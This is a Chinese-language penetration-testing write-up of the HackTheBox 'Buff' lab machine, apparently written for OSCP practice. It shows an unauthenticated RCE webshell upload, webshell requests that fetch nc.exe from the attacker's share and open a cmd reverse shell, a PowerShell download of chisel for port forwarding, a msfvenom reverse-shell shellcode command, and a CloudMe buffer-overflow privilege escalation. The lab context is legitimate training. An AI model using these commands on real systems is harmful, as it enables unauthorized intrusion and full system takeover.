Buff-Writeup

概述 (Overview)

66704617.png

攻击链 (Kiillchain)

55825781.png

TTPs (Tactics, Techniques & Procedures)

  • name
  • Unauthenticated Remote Code Execution
  • chisel
  • Buffer Overflow

阶段1:枚举

老规矩,nmap 开局:

ports=$(nmap -p- --min-rate=1000  -T4 10.10.10.184 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.184

51003929.png

浏览器查看 8080 端口,是一个教瑜伽的官网。

50931246.png

在页面上没有获取到太多有用的信息,尝试枚举目录。

51336057.png
51216532.png
可以从日志中看到,很多路径都是响应的 403,尝试 burp 转发下端口看看能不能绕过。

52867162.png

53469993.png

好吧依然 403 ,看看别的信息。在 contact.php 页面发现Web服务的版本信息。

阶段2:工具及利用

阶段2.1:未经身份验证的远程代码执行

53627190.png
尝试google找找有没有利用,发现一个可利用的 Unauthenticated Remote Code Execution
53640311.png
使用 exploithttps://www.exploit-db.com/exploits/48506) 成功返回一个伪交互终端。
53872611.png
分下了一下该python代码,实际上是上传了一个新的webshell文件,然后进行命令执行。直接输入exploit中的url路径即可。
53953248.png
为了看的更信息的过程,在exploit中加入代理。

    proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }  
    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)

54340178.png
具体漏洞的产生原因可以查看exploit的注释部分,首先bypass了文件后缀,使其满足图片后缀,其次bypass了文件类型,使其符合比对的图片类型,最后根据代码执行逻辑会对文件进行重命名。
54778548.png

通过Webshell成功读取到 user.txt。

注意:不建议这样做,因为在考OSCP时是需要具备完整tty的交互终端截图,不认可webshell这种伪终端。

阶段2.2:NC反弹cmd

接下来进行NC的上线,获取一个交互终端:

GET /upload/kamehameha.php?telepathy=copy+\\10.10.16.6\share\nc.exe+C:\Users\shaun\Downloads\nc.exe HTTP/1.1
55375823.png
GET /upload/kamehameha.php?telepathy=C:\Users\shaun\Downloads\nc.exe+10.10.16.6+9900+-e+cmd HTTP/1.1
55438822.png

阶段3:权限提升

阶段3.1:内核提权枚举

随后systeminfo查看了一下打了补丁,将一些内核提权信息收集脚本传过去分析一下有存在哪些利用。

56728510.png

57632284.png

wes.py 也看看:

$ python wes.py ../../../hackthebox/Buff/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more
Windows Exploit Suggester 0.98 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
    - Name: Windows 10 Version 1803 for x64-based Systems
    - Generation: 10
    - Build: 17134
    - Version: 1803
    - Architecture: x64-based
    - Installed hotfixes: None
[+] Loading definitions
    - Creation date of definitions: 20210320
[+] Determining missing patches
[+] Applying display filters
[+] Found vulnerabilities

Date: 20210309
CVE: CVE-2021-26863
KB: KB5000809
Title: Windows Win32k Elevation of Privilege Vulnerability
Affected product: Windows 10 Version 1803 for x64-based Systems
Affected component: Issuing CNA
Severity: Important
Impact: Elevation of Privilege
Exploit: http://packetstormsecurity.com/files/161768/Microsoft-Windows-Kernel-NtGdiGetDeviceCapsAll-Race-Condition-Use-After-Free.html

[+] Missing patches: 1
    - KB5000809: patches 1 vulnerability
[+] KB with the most recent release date
    - ID: KB5000809
    - Release date: 20210309

[+] Done. Displaying 1 of the 207 vulnerabilities found.

阶段3.2:不安全的进程服务枚举

逐一尝试后发现exploit并不能提供提权,转而尝试其他方式。在 tasklist 下发现一个 CloudMe.exe 的的进程。

61671264.png
在用户的的下载目录找到了该服务的安装文件,后面的数字猜测为版本号。
61767629.png

阶段3.3:端口转发及溢出攻击

查询exploit发现对应版本存在缓存区溢出漏洞。
61740169.png
查看利用脚本,发现需要连接一个8888的端口。
63605850.png
查看后发现存在本地监听,说明可以利用。
63573102.png

尝试进行端口转发,这里我用的是 chisel(发现这东西老外用的多,学习了)。

服务器下载对应程序: powershell Invoke-WebRequest "http://10.10.16.6/chisel.exe" -OutFile "chisel.exe"

Kali上开启反向转发:./chisel_1.7.6_linux_amd64 server --port 9901 --reverse
64351769.png

服务器将本地888端口转发至kali对应端口:chisel.exe client 10.10.16.6:9901 R:8888:127.0.0.1:8888
65264610.png
开启MSF的端口监听(我了解了下,OSCP里是允许仅使用exploit/multi/handlermsfvenom的),生成上线shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=9991 EXITFUNC=thread -b "\x00\x0d\x0a" -f python

65965642.png
将缓存溢出的exploit脚本内容中的shellcode进行替换,执行脚本就获得了一个高权限的session。

参考